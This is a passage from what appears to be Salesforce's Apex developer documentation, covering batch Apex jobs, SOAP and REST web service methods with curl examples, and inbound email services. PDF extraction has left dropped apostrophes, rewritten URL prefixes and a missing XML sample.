global void finish(Database.BatchableContext BC){
}
}

This code calls the BatchDelete batch Apex class to delete old documents. The specified query selects documents to delete for all
documents that are in a specified folder and that are older than a specified date. Next, the sample invokes the batch job.
BatchDelete BDel = new BatchDelete();
Datetime d = Datetime.now();
d = d.addDays(-1);
// Replace this value with the folder ID that contains
// the documents to delete.
String folderId = '00lD000000116lD';
// Query for selecting the documents to delete
BDel.query = 'SELECT Id FROM Document WHERE FolderId=\'' + folderId +
'\' AND CreatedDate < '+d.format('yyyy-MM-dd')+'T'+
d.format('HH:mm')+':00.000Z';
// Invoke the batch job.
ID batchprocessid = Database.executeBatch(BDel);
System.debug('Returned batch process ID: ' + batchProcessId);

Using Callouts in Batch Apex

To use a callout in batch Apex, specify Database.AllowsCallouts in the class definition. For example:
global class SearchAndReplace implements Database.Batchable<sObject>,
Database.AllowsCallouts{
}

Callouts include HTTP requests and methods defined with the webService keyword.

Using State in Batch Apex

Each execution of a batch Apex job is considered a discrete transaction. For example, a batch Apex job that contains 1,000 records and
is executed without the optional scope parameter is considered five transactions of 200 records each.

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If you specify Database.Stateful in the class definition, you can maintain state across these transactions. When using
Database.Stateful, only instance member variables retain their values between transactions. Static member variables dont
retain their values and are reset between transactions. Maintaining state is useful for counting or summarizing records as theyre processed.
For example, suppose your job processed opportunity records. You could define a method in execute to aggregate totals of the
opportunity amounts as they were processed.
If you dont specify Database.Stateful, all static and instance member variables are set back to their original values.
The following example summarizes a custom field total__c as the records are processed.
global class SummarizeAccountTotal implements
Database.Batchable<sObject>, Database.Stateful{
global final String Query;
global integer Summary;
global SummarizeAccountTotal(String q){Query=q;
Summary = 0;
}
global Database.QueryLocator start(Database.BatchableContext BC){
return Database.getQueryLocator(query);
}
global void execute(
Database.BatchableContext BC,
List<sObject> scope){
for(sObject s : scope){
Summary = Integer.valueOf(s.get('total__c'))+Summary;
}
}
global void finish(Database.BatchableContext BC){
}
}

In addition, you can specify a variable to access the initial state of the class. You can use this variable to share the initial state with all
instances of the Database.Batchable methods. For example:
// Implement the interface using a list of Account sObjects
// Note that the initialState variable is declared as final
global class MyBatchable implements Database.Batchable<sObject> {
private final String initialState;
String query;
global MyBatchable(String intialState) {
this.initialState = initialState;
}
global Database.QueryLocator start(Database.BatchableContext BC) {
// Access initialState here
return Database.getQueryLocator(query);
}

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global void execute(Database.BatchableContext BC,

List<sObject> batch) {
// Access initialState here
}
global void finish(Database.BatchableContext BC) {
// Access initialState here
}
}

The initialState stores only the initial state of the class. You cant use it to pass information between instances of the class during
execution of the batch job. For example, if you change the value of initialState in execute, the second chunk of processed
records cant access the new value. Only the initial value is accessible.

Testing Batch Apex

When testing your batch Apex, you can test only one execution of the execute method. Use the scope parameter of the
executeBatch method to limit the number of records passed into the execute method to ensure that you arent running into
governor limits.
The executeBatch method starts an asynchronous process. When you test batch Apex, make certain that the asynchronously
processed batch job is finished before testing against the results. Use the Test methods startTest and stopTest around the
executeBatch method to ensure that it finishes before continuing your test. All asynchronous calls made after the startTest
method are collected by the system. When stopTest is executed, all asynchronous processes are run synchronously. If you dont
include the executeBatch method within the startTest and stopTest methods, the batch job executes at the end of your
test method. This execution order applies for Apex saved using API version 25.0 and later, but not for earlier versions.
For Apex saved using API version 22.0 and later, exceptions that occur during the execution of a batch Apex job invoked by a test method
are passed to the calling test method. As a result, these exceptions cause the test method to fail. If you want to handle exceptions in the
test method, enclose the code in try and catch statements. Place the catch block after the stopTest method. However, with
Apex saved using API version 21.0 and earlier, such exceptions dont get passed to the test method and dont cause test methods to fail.
Note: Asynchronous calls, such as @future or executeBatch, called in a startTest, stopTest block, do not count
against your limits for the number of queued jobs.
The following example tests the OwnerReassignment class.
public static testMethod void testBatch() {
user u = [SELECT ID, UserName FROM User
WHERE username='[email protected]'];
user u2 = [SELECT ID, UserName FROM User
WHERE username='[email protected]'];
String u2id = u2.id;
// Create 200 test accounts - this simulates one execute.
// Important - the Salesforce.com test framework only allows you to
// test one execute.
List <Account> accns = new List<Account>();
for(integer i = 0; i<200; i++){
Account a = new Account(Name='testAccount'+'i',
Ownerid = u.ID);
accns.add(a);
}

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insert accns;
Test.StartTest();
OwnerReassignment reassign = new OwnerReassignment();
reassign.query='SELECT ID, Name, Ownerid ' +
'FROM Account ' +
'WHERE OwnerId=\'' + u.Id + '\'' +
' LIMIT 200';
reassign.email='[email protected]';
reassign.fromUserId = u.Id;
reassign.toUserId = u2.Id;
ID batchprocessid = Database.executeBatch(reassign);
Test.StopTest();
System.AssertEquals(
database.countquery('SELECT COUNT()'
+' FROM Account WHERE OwnerId=\'' + u2.Id + '\''),
200);
}
}

Use the System.Test.enqueueBatchJobs and System.Test.getFlexQueueOrder methods to enqueue and

reorder no-operation jobs within the contexts of tests.

Batch Apex Governor Limits

Keep in mind the following governor limits for batch Apex.
Up to 5 batch jobs can be queued or active concurrently.
Up to 100 Holding batch jobs can be held in the Apex flex queue.
In a running test, you can submit a maximum of 5 batch jobs.
The maximum number of batch Apex method executions per 24-hour period is 250,000, or the number of user licenses in your org
multiplied by 200whichever is greater. Method executions include executions of the start, execute, and finish methods.
This limit is for your entire organization and is shared with all asynchronous Apex: Batch Apex, Queueable Apex, scheduled Apex,
and future methods. The licenses that count toward this limit are full Salesforce user licenses or Force.com App Subscription user
licenses. Chatter Free, Chatter customer users, Customer Portal User, and partner portal User licenses arent included.
The batch Apex start method can have up to 15 query cursors open at a time per user. The batch Apex execute and finish
methods each have a limit of five open query cursors per user.
A maximum of 50 million records can be returned in the Database.QueryLocator object. If more than 50 million records
are returned, the batch job is immediately terminated and marked as Failed.
If the start method of the batch class returns a QueryLocator, the optional scope parameter of Database.executeBatch
can have a maximum value of 2,000. If set to a higher value, Salesforce chunks the records returned by the QueryLocator into smaller
batches of up to 2,000 records. If the start method of the batch class returns an iterable, the scope parameter value has no upper
limit. However, if you use a high number, you can run into other limits.
If no size is specified with the optional scope parameter of Database.executeBatch, Salesforce chunks the records returned
by the start method into batches of 200. The system then passes each batch to the execute method. Apex governor limits
are reset for each execution of execute.
The start, execute, and finish methods can implement up to 10 callouts each.

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Only one batch Apex job's start method can run at a time in an organization. Batch jobs that havent started yet remain in the
queue until they're started. Note that this limit doesnt cause any batch job to fail and execute methods of batch Apex jobs still
run in parallel if more than one job is running.

Batch Apex Best Practices

Use extreme care if you are planning to invoke a batch job from a trigger. You must be able to guarantee that the trigger will not
add more batch jobs than the limit. In particular, consider API bulk updates, import wizards, mass record changes through the user
interface, and all cases where more than one record can be updated at a time.
When you call Database.executeBatch, Salesforce only places the job in the queue. Actual execution can be delayed based
on service availability.
When testing your batch Apex, you can test only one execution of the execute method. Use the scope parameter of the
executeBatch method to limit the number of records passed into the execute method to ensure that you arent running
into governor limits.
The executeBatch method starts an asynchronous process. When you test batch Apex, make certain that the asynchronously
processed batch job is finished before testing against the results. Use the Test methods startTest and stopTest around
the executeBatch method to ensure that it finishes before continuing your test.
Use Database.Stateful with the class definition if you want to share instance member variables or data across job transactions.
Otherwise, all member variables are reset to their initial state at the start of each transaction.
Methods declared as future arent allowed in classes that implement the Database.Batchable interface.
Methods declared as future cant be called from a batch Apex class.
When a batch Apex job is run, email notifications are sent to the user who submitted the batch job. If the code is included in a
managed package and the subscribing org is running the batch job, notifications are sent to the recipient listed in the Apex
Exception Notification Recipient field.
Each method execution uses the standard governor limits anonymous block, Visualforce controller, or WSDL method.
Each batch Apex invocation creates an AsyncApexJob record. To construct a SOQL query to retrieve the jobs status, number
of errors, progress, and submitter, use the AsyncApexJob records ID. For more information about the AsyncApexJob object,
see AsyncApexJob in the Object Reference for Salesforce and Force.com.
For each 10,000 AsyncApexJob records, Apex creates an AsyncApexJob record of type BatchApexWorker for internal
use. When querying for all AsyncApexJob records, we recommend that you filter out records of type BatchApexWorker
using the JobType field. Otherwise, the query returns one more record for every 10,000 AsyncApexJob records. For more
information about the AsyncApexJob object, see AsyncApexJob in the Object Reference for Salesforce and Force.com.
All methods in the class must be defined as global or public.
For a sharing recalculation, we recommend that the execute method delete and then re-create all Apex managed sharing for
the records in the batch. This process ensures that sharing is accurate and complete.
Batch jobs queued before a Salesforce service maintenance downtime remain in the queue. After service downtime ends and when
system resources become available, the queued batch jobs are executed. If a batch job was running when downtime occurred, the
batch execution is rolled back and restarted after the service comes back up.
Minimize the number of batches, if possible. Salesforce uses a queue-based framework to handle asynchronous processes from such
sources as future methods and batch Apex. This queue is used to balance request workload across organizations. If more than 2,000
unprocessed requests from a single organization are in the queue, any additional requests from the same organization will be delayed
while the queue handles requests from other organizations.
Ensure that batch jobs execute as fast as possible. To ensure fast execution of batch jobs, minimize Web service callout times and
tune queries used in your batch Apex code. The longer the batch job executes, the more likely other queued jobs are delayed when
many jobs are in the queue.

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Chaining Batch Jobs

Starting with API version 26.0, you can start another batch job from an existing batch job to chain jobs together. Chain a batch job to
start a job after another one finishes and when your job requires batch processing, such as when processing large data volumes. Otherwise,
if batch processing isnt needed, consider using Queueable Apex.
You can chain a batch job by calling Database.executeBatch or System.scheduleBatch from the finish method
of the current batch class. The new batch job will start after the current batch job finishes.
For previous API versions, you cant call Database.executeBatch or System.scheduleBatch from any batch Apex
method. The version thats used is the version of the running batch class that starts or schedules another batch job. If the finish
method in the running batch class calls a method in a helper class to start the batch job, the API version of the helper class doesnt
matter.
SEE ALSO:
Batchable Interface
FlexQueue Class
enqueueBatchJobs(numberOfJobs)
getFlexQueueOrder()

Web Services
Exposing Apex Methods as SOAP Web Services
You can expose your Apex methods as SOAP Web services so that external applications can access your code and your application. To
expose your Apex methods, use WebService Methods.
Tip:
Apex SOAP Web services allow an external application to invoke Apex methods through SOAP Web services. Apex callouts
enable Apex to invoke external Web or HTTP services.
Apex REST API exposes your Apex classes and methods as REST Web services. See Exposing Apex Classes as REST Web Services.

WebService Methods
Apex class methods can be exposed as custom SOAP Web service calls. This allows an external application to invoke an Apex Web service
to perform an action in Salesforce. Use the webService keyword to define these methods. For example:
global class MyWebService {
webService static Id makeContact(String lastName, Account a) {
Contact c = new Contact(lastName = 'Weissman', AccountId = a.Id);
insert c;
return c.id;
}
}

A developer of an external application can integrate with an Apex class containing webService methods by generating a WSDL for
the class. To generate a WSDL from an Apex class detail page:
1. In the application from Setup, enter Apex Classes in the Quick Find box, then select Apex Classes.

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2. Click the name of a class that contains webService methods.

3. Click Generate WSDL.

Exposing Data with WebService Methods

Invoking a custom webService method always uses system context. Consequently, the current user's credentials are not used, and
any user who has access to these methods can use their full power, regardless of permissions, field-level security, or sharing rules.
Developers who expose methods with the webService keyword should therefore take care that they are not inadvertently exposing
any sensitive data.
Warning: Apex class methods that are exposed through the API with the webService keyword don't enforce object permissions
and field-level security by default. We recommend that you make use of the appropriate object or field describe result methods
to check the current users access level on the objects and fields that the webService method is accessing. See DescribeSObjectResult
Class and DescribeFieldResult Class.
Also, sharing rules (record-level access) are enforced only when declaring a class with the with sharing keyword. This
requirement applies to all Apex classes, including to classes that contain webService methods. To enforce sharing rules for
webService methods, declare the class that contains these methods with the with sharing keyword. See Using the with
sharing or without sharing Keywords.

Considerations for Using the WebService Keyword

When using the webService keyword, keep the following considerations in mind:
You cannot use the webService keyword when defining a class. However, you can use it to define top-level, outer class methods,
and methods of an inner class.
You cannot use the webService keyword to define an interface, or to define an interface's methods and variables.
System-defined enums cannot be used in Web service methods.
You cannot use the webService keyword in a trigger.
All classes that contain methods defined with the webService keyword must be declared as global. If a method or inner
class is declared as global, the outer, top-level class must also be defined as global.
Methods defined with the webService keyword are inherently global. These methods can be used by any Apex code that has
access to the class. You can consider the webService keyword as a type of access modifier that enables more access than
global.
You must define any method that uses the webService keyword as static.
You cannot deprecate webService methods or variables in managed package code.
Because there are no SOAP analogs for certain Apex elements, methods defined with the webService keyword cannot take the
following elements as parameters. While these elements can be used within the method, they also cannot be marked as return
values.
Maps
Sets
Pattern objects
Matcher objects
Exception objects
You must use the webService keyword with any member variables that you want to expose as part of a Web service. You should
not mark these member variables as static.

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Considerations for calling Apex SOAP Web service methods:

Salesforce denies access to Web service and executeanonymous requests from an AppExchange package that has
Restricted access.
Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value
that is too long for the field.
If a login call is made from the API for a user with an expired or temporary password, subsequent API calls to custom Apex SOAP
Web service methods aren't supported and result in the INVALID_OPERATION_WITH_EXPIRED_PASSWORD error. Reset the
user's password and make a call with an unexpired password to be able to call Apex Web service methods.
The following example shows a class with Web service member variables as well as a Web service method:
global class SpecialAccounts {
global class AccountInfo {
webService String AcctName;
webService Integer AcctNumber;
}
webService static Account createAccount(AccountInfo info) {
Account acct = new Account();
acct.Name = info.AcctName;
acct.AccountNumber = String.valueOf(info.AcctNumber);
insert acct;
return acct;
}
webService static Id [] createAccounts(Account parent,
Account child, Account grandChild) {
insert parent;
child.parentId = parent.Id;
insert child;
grandChild.parentId = child.Id;
insert grandChild;
Id [] results = new Id[3];
results[0] = parent.Id;
results[1] = child.Id;
results[2] = grandChild.Id;
return results;
}
}
// Test class for the previous class.
@isTest
private class SpecialAccountsTest {
testMethod static void testAccountCreate() {
SpecialAccounts.AccountInfo info = new SpecialAccounts.AccountInfo();
info.AcctName = 'Manoj Cheenath';
info.AcctNumber = 12345;
Account acct = SpecialAccounts.createAccount(info);
System.assert(acct != null);
}
}

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You can invoke this Web service using AJAX. For more information, see Apex in AJAX on page 269.

Overloading Web Service Methods

SOAP and WSDL do not provide good support for overloading methods. Consequently, Apex does not allow two methods marked with
the webService keyword to have the same name. Web service methods that have the same name in the same class generate a
compile-time error.

Exposing Apex Classes as REST Web Services

You can expose your Apex classes and methods so that external applications can access your code and your application through the
REST architecture. This section provides an overview of how to expose your Apex classes as REST Web services. You'll learn about the
class and method annotations and see code samples that show you how to implement this functionality.

Introduction to Apex REST

You can expose your Apex class and methods so that external applications can access your code and your application through the REST
architecture. This is done by defining your Apex class with the @RestResource annotation to expose it as a REST resource. Similarly,
add annotations to your methods to expose them through REST. For example, you can add the @HttpGet annotation to your method
to expose it as a REST resource that can be called by an HTTP GET request. For more information, see Apex REST Annotations on page
94
These are the classes containing methods and properties you can use with Apex REST.
Class

Description

RestContext Class

Contains the RestRequest and RestResponse objects.

request

Represents an object used to pass data from an HTTP request to

an Apex RESTful Web service method.

response

Represents an object used to pass data from an Apex RESTful Web

service method to an HTTP response.

Governor Limits
Calls to Apex REST classes count against the organization's API governor limits. All standard Apex governor limits apply to Apex REST
classes. For example, the maximum request or response size is 6 MB for synchronous Apex or 12 MB for asynchronous Apex. For more
information, see Execution Governors and Limits.

Authentication
Apex REST supports these authentication mechanisms:
OAuth 2.0
Session ID
See Step Two: Set Up Authorization in the Force.com REST API Developer Guide.

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Apex REST Annotations

Six new annotations have been added that enable you to expose an Apex class as a RESTful Web service.
@RestResource(urlMapping='/yourUrl')
@HttpDelete
@HttpGet
@HttpPatch
@HttpPost
@HttpPut

Apex REST Methods

Apex REST supports two formats for representations of resources: JSON and XML. JSON representations are passed by default in the
body of a request or response, and the format is indicated by the Content-Type property in the HTTP header. You can retrieve the
body as a Blob from the HttpRequest object if there are no parameters to the Apex method. If parameters are defined in the Apex method,
an attempt is made to deserialize the request body into those parameters. If the Apex method has a non-void return type, the resource
representation is serialized into the response body.
These return and parameter types are allowed:
Apex primitives (excluding sObject and Blob).
sObjects
Lists or maps of Apex primitives or sObjects (only maps with String keys are supported).
User-defined types that contain member variables of the types listed above.
Note: Apex REST does not support XML serialization and deserialization of Chatter in Apex objects. Apex REST does support JSON
serialization and deserialization of Chatter in Apex objects. Also, some collection types, such as maps, arent supported with XML.
See Request and Response Data Considerations for details.
Methods annotated with @HttpGet or @HttpDelete should have no parameters. This is because GET and DELETE requests have
no request body, so there's nothing to deserialize.
A single Apex class annotated with @RestResource can't have multiple methods annotated with the same HTTP request method.
For example, the same class can't have two methods annotated with @HttpGet.
Note: Apex REST currently doesn't support requests of Content-Type multipart/form-data.

Apex REST Method Considerations

Here are a few points to consider when you define Apex REST methods.
RestRequest and RestResponse objects are available by default in your Apex methods through the static RestContext
object. This example shows how to access these objects through RestContext:
RestRequest req = RestContext.request;
RestResponse res = RestContext.response;

If the Apex method has no parameters, Apex REST copies the HTTP request body into the RestRequest.requestBody
property. If the method has parameters, then Apex REST attempts to deserialize the data into those parameters and the data won't
be deserialized into the RestRequest.requestBody property.

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Apex REST uses similar serialization logic for the response. An Apex method with a non-void return type will have the return value
serialized into RestResponse.responseBody.
Apex REST methods can be used in managed and unmanaged packages. When calling Apex REST methods that are contained in a
managed package, you need to include the managed package namespace in the REST call URL. For example, if the class is contained
in a managed package namespace called packageNamespace and the Apex REST methods use a URL mapping of
/MyMethod/*, the URL used via REST to call these methods would be of the form
https://instance.salesforce.com/services/apexrest/packageNamespace/MyMethod/. For more
information about managed packages, see What is a Package?.
If a login call is made from the API for a user with an expired or temporary password, subsequent API calls to custom Apex REST Web
service methods aren't supported and result in the MUTUAL_AUTHENTICATION_FAILED error. Reset the user's password and make
a call with an unexpired password to be able to call Apex Web service methods.

User-Defined Types
You can use user-defined types for parameters in your Apex REST methods. Apex REST deserializes request data into public, private,
or global class member variables of the user-defined type, unless the variable is declared as static or transient. For example,
an Apex REST method that contains a user-defined type parameter might look like the following:
@RestResource(urlMapping='/user_defined_type_example/*')
global with sharing class MyOwnTypeRestResource {
@HttpPost
global static MyUserDefinedClass echoMyType(MyUserDefinedClass ic) {
return ic;
}
global class MyUserDefinedClass {
global String string1;
global String string2 { get; set; }
private String privateString;
global transient String transientString;
global static String staticString;
}
}

Valid JSON and XML request data for this method would look like:
{
"ic" : {
"string1" : "value for string1",
"string2" : "value for string2",
"privateString" : "value for privateString"
}
}
<request>
<ic>
<string1>value for string1</string1>
<string2>value for string2</string2>
<privateString>value for privateString</privateString>

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</ic>
</request>

If a value for staticString or transientString is provided in the example request data above, an HTTP 400 status code
response is generated. Note that the public, private, or global class member variables must be types allowed by Apex REST:
Apex primitives (excluding sObject and Blob).
sObjects
Lists or maps of Apex primitives or sObjects (only maps with String keys are supported).
When creating user-defined types used as Apex REST method parameters, avoid introducing any class member variable definitions that
result in cycles (definitions that depend on each other) at run time in your user-defined types. Here's a simple example:
@RestResource(urlMapping='/CycleExample/*')
global with sharing class ApexRESTCycleExample {
@HttpGet
global static MyUserDef1 doCycleTest() {
MyUserDef1 def1 = new MyUserDef1();
MyUserDef2 def2 = new MyUserDef2();
def1.userDef2 = def2;
def2.userDef1 = def1;
return def1;
}
global class MyUserDef1 {
MyUserDef2 userDef2;
}
global class MyUserDef2 {
MyUserDef1 userDef1;
}
}

The code in the previous example compiles, but at run time when a request is made, Apex REST detects a cycle between instances of
def1 and def2, and generates an HTTP 400 status code error response.

Request and Response Data Considerations

Some additional things to keep in mind for the request data for your Apex REST methods:
The names of the Apex parameters matter, although the order doesnt. For example, valid requests in both XML and JSON look like
the following:
@HttpPost
global static void myPostMethod(String s1, Integer i1, Boolean b1, String s2)
{
"s1" : "my first string",
"i1" : 123,
"s2" : "my second string",

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"b1" : false
}
<request>
<s1>my first string</s1>
<i1>123</i1>
<s2>my second string</s2>
<b1>false</b1>
</request>

The URL patterns URLpattern and URLpattern/* match the same URL. If one class has a urlMapping of URLpattern
and another class has a urlMapping of URLpattern/*, a REST request for this URL pattern resolves to the class that was saved
last.
Some parameter and return types can't be used with XML as the Content-Type for the request or as the accepted format for the
response, and hence, methods with these parameter or return types can't be used with XML. Maps or collections of collections, for
example, List<List<String>> aren't supported. However, you can use these types with JSON. If the parameter list includes
a type that's invalid for XML and XML is sent, an HTTP 415 status code is returned. If the return type is a type that's invalid for XML
and XML is the requested response format, an HTTP 406 status code is returned.
For request data in either JSON or XML, valid values for Boolean parameters are: true, false (both of these are treated as
case-insensitive), 1 and 0 (the numeric values, not strings of 1 or 0). Any other values for Boolean parameters result in an error.
If the JSON or XML request data contains multiple parameters of the same name, this results in an HTTP 400 status code error response.
For example, if your method specifies an input parameter named x, the following JSON request data results in an error:
{
"x" : "value1",
"x" : "value2"
}

Similarly, for user-defined types, if the request data includes data for the same user-defined type member variable multiple times,
this results in an error. For example, given this Apex REST method and user-defined type:
@RestResource(urlMapping='/DuplicateParamsExample/*')
global with sharing class ApexRESTDuplicateParamsExample {
@HttpPost
global static MyUserDef1 doDuplicateParamsTest(MyUserDef1 def) {
return def;
}
global class MyUserDef1 {
Integer i;
}
}

The following JSON request data also results in an error:

{
"def" : {
"i" : 1,
"i" : 2
}
}

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If you need to specify a null value for one of your parameters in your request data, you can either omit the parameter entirely or
specify a null value. In JSON, you can specify null as the value. In XML, you must use the
http://www.w3.org/2001/XMLSchema-instance namespace with a nil value.
For XML request data, you must specify an XML namespace that references any Apex namespace your method uses. So, for example,
if you define an Apex REST method such as:
@RestResource(urlMapping='/namespaceExample/*')
global class MyNamespaceTest {
@HttpPost
global static MyUDT echoTest(MyUDT def, String extraString) {
return def;
}
global class MyUDT {
Integer count;
}
}

You can use the following XML request data:

Response Status Codes

The status code of a response is set automatically. This table lists some HTTP status codes and what they mean in the context of the
HTTP request method. For the full list of response status codes, see statusCode.
Request Method

Response Status
Code

Description

GET

200

The request was successful.

PATCH

200

The request was successful and the return type is non-void.

PATCH

204

The request was successful and the return type is void.

DELETE, GET, PATCH, POST, PUT

400

An unhandled user exception occurred.

DELETE, GET, PATCH, POST, PUT

403

You don't have access to the specified Apex class.

DELETE, GET, PATCH, POST, PUT

404

The URL is unmapped in an existing @RestResource

annotation.

DELETE, GET, PATCH, POST, PUT

404

The URL extension is unsupported.

DELETE, GET, PATCH, POST, PUT

404

The Apex class with the specified namespace couldn't be found.

DELETE, GET, PATCH, POST, PUT

405

The request method doesn't have a corresponding Apex method.

DELETE, GET, PATCH, POST, PUT

406

The Content-Type property in the header was set to a value other

than JSON or XML.

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Request Method

Response Status
Code

Description

DELETE, GET, PATCH, POST, PUT

406

The header specified in the HTTP request is not supported.

GET, PATCH, POST, PUT

406

The XML return type specified for format is unsupported.

DELETE, GET, PATCH, POST, PUT

415

The XML parameter type is unsupported.

DELETE, GET, PATCH, POST, PUT

415

The Content-Header Type specified in the HTTP request header

is unsupported.

DELETE, GET, PATCH, POST, PUT

500

An unhandled Apex exception occurred.

Exposing Data with Apex REST Web Service Methods

Invoking a custom Apex REST Web service method always uses system context. Consequently, the current user's credentials are not
used, and any user who has access to these methods can use their full power, regardless of permissions, field-level security, or sharing
rules. Developers who expose methods using the Apex REST annotations should therefore take care that they are not inadvertently
exposing any sensitive data.
Warning: Apex class methods that are exposed through the Apex REST API don't enforce object permissions and field-level
security by default. We recommend that you make use of the appropriate object or field describe result methods to check the
current users access level on the objects and fields that the Apex REST API method is accessing. See DescribeSObjectResult Class
and DescribeFieldResult Class.
Also, sharing rules (record-level access) are enforced only when declaring a class with the with sharing keyword. This
requirement applies to all Apex classes, including to classes that are exposed through Apex REST API. To enforce sharing rules for
Apex REST API methods, declare the class that contains these methods with the with sharing keyword. See Using the with
sharing or without sharing Keywords.

Apex REST Code Samples

These code samples show you how to expose Apex classes and methods through the REST architecture and how to call those resources
from a client.
Apex REST Basic Code Sample: Provides an example of an Apex REST class with three methods that you can call to delete a record,
get a record, and update a record.
Apex REST Code Sample Using RestRequest: Provides an example of an Apex REST class that adds an attachment to a record by
using the RestRequest object

Apex REST Basic Code Sample

This sample shows you how to implement a simple REST API in Apex that handles three different HTTP request methods. For more
information about authenticating with cURL, see the Quick Start section of the Force.com REST API Developer Guide.

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1. Create an Apex class in your instance from Setup by entering New in the Quick Find box, then selecting New and add this
code to your new class:
@RestResource(urlMapping='/Account/*')
global with sharing class MyRestResource {
@HttpDelete
global static void doDelete() {
RestRequest req = RestContext.request;
RestResponse res = RestContext.response;
String accountId = req.requestURI.substring(req.requestURI.lastIndexOf('/')+1);
Account account = [SELECT Id FROM Account WHERE Id = :accountId];
delete account;
}
@HttpGet
global static Account doGet() {
RestRequest req = RestContext.request;
RestResponse res = RestContext.response;
String accountId = req.requestURI.substring(req.requestURI.lastIndexOf('/')+1);
Account result = [SELECT Id, Name, Phone, Website FROM Account WHERE Id =
:accountId];
return result;
}
@HttpPost
global static String doPost(String name,
String phone, String website) {
Account account = new Account();
account.Name = name;
account.phone = phone;
account.website = website;
insert account;
return account.Id;
}
}

2. To call the doGet method from a client, open a command-line window and execute the following cURL command to retrieve
an account by ID:
curl -H "Authorization: Bearer sessionId"
"https://instance.salesforce.com/services/apexrest/Account/accountId"

Replace sessionId with the <sessionId> element that you noted in the login response.
Replace instance with your <serverUrl> element.
Replace accountId with the ID of an account which exists in your organization.
After calling the doGet method, Salesforce returns a JSON response with data such as the following:
{
"attributes" :
{
"type" : "Account",

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"url" : "/services/data/v22.0/sobjects/Account/accountId"
},
"Id" : "accountId",
"Name" : "Acme"
}

Note: The cURL examples in this section don't use a namespaced Apex class so you won't see the namespace in the URL.
3. Create a file called account.txt to contain the data for the account you will create in the next step.
{
"name" : "Wingo Ducks",
"phone" : "707-555-1234",
"website" : "www.wingo.ca.us"
}

4. Using a command-line window, execute the following cURL command to create a new account:
curl -H "Authorization: Bearer sessionId" -H "Content-Type: application/json" -d
@account.txt "https://instance.salesforce.com/services/apexrest/Account/"

After calling the doPost method, Salesforce returns a response with data such as the following:
"accountId"

The accountId is the ID of the account you just created with the POST request.
5. Using a command-line window, execute the following cURL command to delete an account by specifying the ID:
curl X DELETE H "Authorization: Bearer sessionId"
"https://instance.salesforce.com/services/apexrest/Account/accountId"

Apex REST Code Sample Using RestRequest

The following sample shows you how to add an attachment to a case by using the RestRequest object. For more information about
authenticating with cURL, see the Quick Start section of the Force.com REST API Developer Guide. In this code, the binary file data is
stored in the RestRequest object, and the Apex service class accesses the binary data in the RestRequest object .
1. Create an Apex class in your instance from Setup by entering Apex Classes in the Quick Find box, then selecting Apex
Classes. Click New and add the following code to your new class:
@RestResource(urlMapping='/CaseManagement/v1/*')
global with sharing class CaseMgmtService
{
@HttpPost
global static String attachPic(){
RestRequest req = RestContext.request;
RestResponse res = Restcontext.response;
Id caseId = req.requestURI.substring(req.requestURI.lastIndexOf('/')+1);
Blob picture = req.requestBody;
Attachment a = new Attachment (ParentId = caseId,
Body = picture,

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ContentType = 'image/jpg',
Name = 'VehiclePicture');
insert a;
return a.Id;
}
}

2. Open a command-line window and execute the following cURL command to upload the attachment to a case:
curl -H "Authorization: Bearer sessionId" -H "X-PrettyPrint: 1" -H "Content-Type:
image/jpeg" --data-binary @file
"https://instance.salesforce.com/services/apexrest/CaseManagement/v1/caseId"

Replace sessionId with the <sessionId> element that you noted in the login response.
Replace instance with your <serverUrl> element.
Replace caseId with the ID of the case you want to add the attachment to.
Replace file with the path and file name of the file you want to attach.
Your command should look something like this (with the sessionId replaced with your session ID and yourInstance
replaced with your instance name):
curl -H "Authorization: Bearer sessionId"
-H "X-PrettyPrint: 1" -H "Content-Type: image/jpeg" --data-binary
@c:\test\vehiclephoto1.jpg
"https://yourInstance.salesforce.com/services/apexrest/CaseManagement/v1/500D0000003aCts"

Note: The cURL examples in this section dont use a namespaced Apex class so you wont see the namespace in the URL.
The Apex class returns a JSON response that contains the attachment ID such as the following:
"00PD0000001y7BfMAI"

3. To verify that the attachment and the image were added to the case, navigate to Cases and select the All Open Cases view. Click
on the case and then scroll down to the Attachments related list. You should see the attachment you just created.

Apex Email Service

Email services are automated processes that use Apex classes to process the contents, headers, and attachments of inbound email. For
example, you can create an email service that automatically creates contact records based on contact information in messages.
Note: Visualforce email templates cannot be used for mass email.
You can associate each email service with one or more Salesforce-generated email addresses to which users can send messages for
processing. To give multiple users access to a single email service, you can:
Associate multiple Salesforce-generated email addresses with the email service and allocate those addresses to users.
Associate a single Salesforce-generated email address with the email service, and write an Apex class that executes according to the
user accessing the email service. For example, you can write an Apex class that identifies the user based on the user's email address
and creates records on behalf of that user.
To use email services, from Setup, enter Email Services in the Quick Find box, then select Email Services.
Click New Email Service to define a new email service.
Select an existing email service to view its configuration, activate or deactivate it, and view or specify addresses for that email service.

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Click Edit to make changes to an existing email service.

Click Delete to delete an email service.
Note: Before deleting email services, you must delete all associated email service addresses.
When defining email services, note the following:
An email service only processes messages it receives at one of its addresses.
Salesforce limits the total number of messages that all email services combined, including On-Demand Email-to-Case, can process
daily. Messages that exceed this limit are bounced, discarded, or queued for processing the next day, depending on how you
configure the failure response settings for each email service. Salesforce calculates the limit by multiplying the number of user
licenses by 1,000; maximum 1,000,000. For example, if you have 10 licenses, your organization can process up to 10,000 email
messages a day.
Email service addresses that you create in your sandbox cannot be copied to your production organization.
For each email service, you can tell Salesforce to send error email messages to a specified address instead of the sender's email
address.
Email services reject email messages and notify the sender if the email (combined body text, body HTML, and attachments) exceeds
approximately 10 MB (varies depending on language and character set).

Using the InboundEmail Object

For every email the Apex email service domain receives, Salesforce creates a separate InboundEmail object that contains the contents
and attachments of that email. You can use Apex classes that implement the Messaging.InboundEmailHandler interface
to handle an inbound email message. Using the handleInboundEmail method in that class, you can access an InboundEmail
object to retrieve the contents, headers, and attachments of inbound email messages, as well as perform many functions.

Example 1: Create Tasks for Contacts

The following is an example of how you can look up a contact based on the inbound email address and create a new task.
global class CreateTaskEmailExample implements Messaging.InboundEmailHandler {
global Messaging.InboundEmailResult handleInboundEmail(Messaging.inboundEmail email,
Messaging.InboundEnvelope env){
// Create an InboundEmailResult object for returning the result of the
// Apex Email Service
Messaging.InboundEmailResult result = new Messaging.InboundEmailResult();
String myPlainText= '';
// Add the email plain text into the local variable
myPlainText = email.plainTextBody;
// New Task object to be created
Task[] newTask = new Task[0];
// Try to look up any contacts based on the email from address
